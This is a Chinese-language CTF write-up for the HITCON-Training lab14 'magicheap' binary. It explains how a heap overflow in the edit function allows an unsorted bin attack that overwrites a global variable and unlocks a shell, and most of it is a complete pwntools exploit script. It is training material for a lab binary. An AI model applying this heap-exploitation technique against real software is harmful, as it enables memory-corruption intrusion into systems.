HITCON-Training-master lab14 wp

这个程序开启了NX和Canary
ida反汇编,可以看到程序的主要功能有4个

  • create:根据用户输入的大小和内容,申请一个堆块
  • delete:根据用户输入的索引,free一个chunk同时指针置为null
  • edit: 根据用户输入的索引和大小,编辑一个chunk
  • exit:退出程序

同时:如果我们输入的数字为4869且magic>4869的话就会执行l33t函数

HITCON-Training-master lab14 wp_第1张图片
image.png
HITCON-Training-master lab14 wp_第2张图片
image.png

所以我们只要将magic大小修改的比4869大,然后再输入4869就可以cat flag了,这里我为了方便就将system的参数换成了"/bin/sh\x00"重新编译了一下

因为edit功能存在堆溢出,所以我们可以利用unsortedbin attack来将magic修改成一个很大的值

具体思路:

  1. 先create 3 个大小为0x80的堆
  2. delete chunk1
  3. edit chunk0 ,通过堆溢出修改chunk1的bk为magic-0x10
  4. create 1 个大小为0x80的堆
  5. 输入4869

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

r = process('./magicheap')
magic = 0x6020c0
bk = magic - 0x10

def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


create_heap(0x80, "dada")  # chunk0
create_heap(0x80, "dada")  # chunk1
create_heap(0x80, "dada")  # chunk2

del_heap(1)

payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(0) + p64(bk)

edit_heap(0, 0x80 + 0x20, payload)
create_heap(0x80, "dada") 
r.recvuntil(":")
r.sendline("4869")
r.interactive()

你可能感兴趣的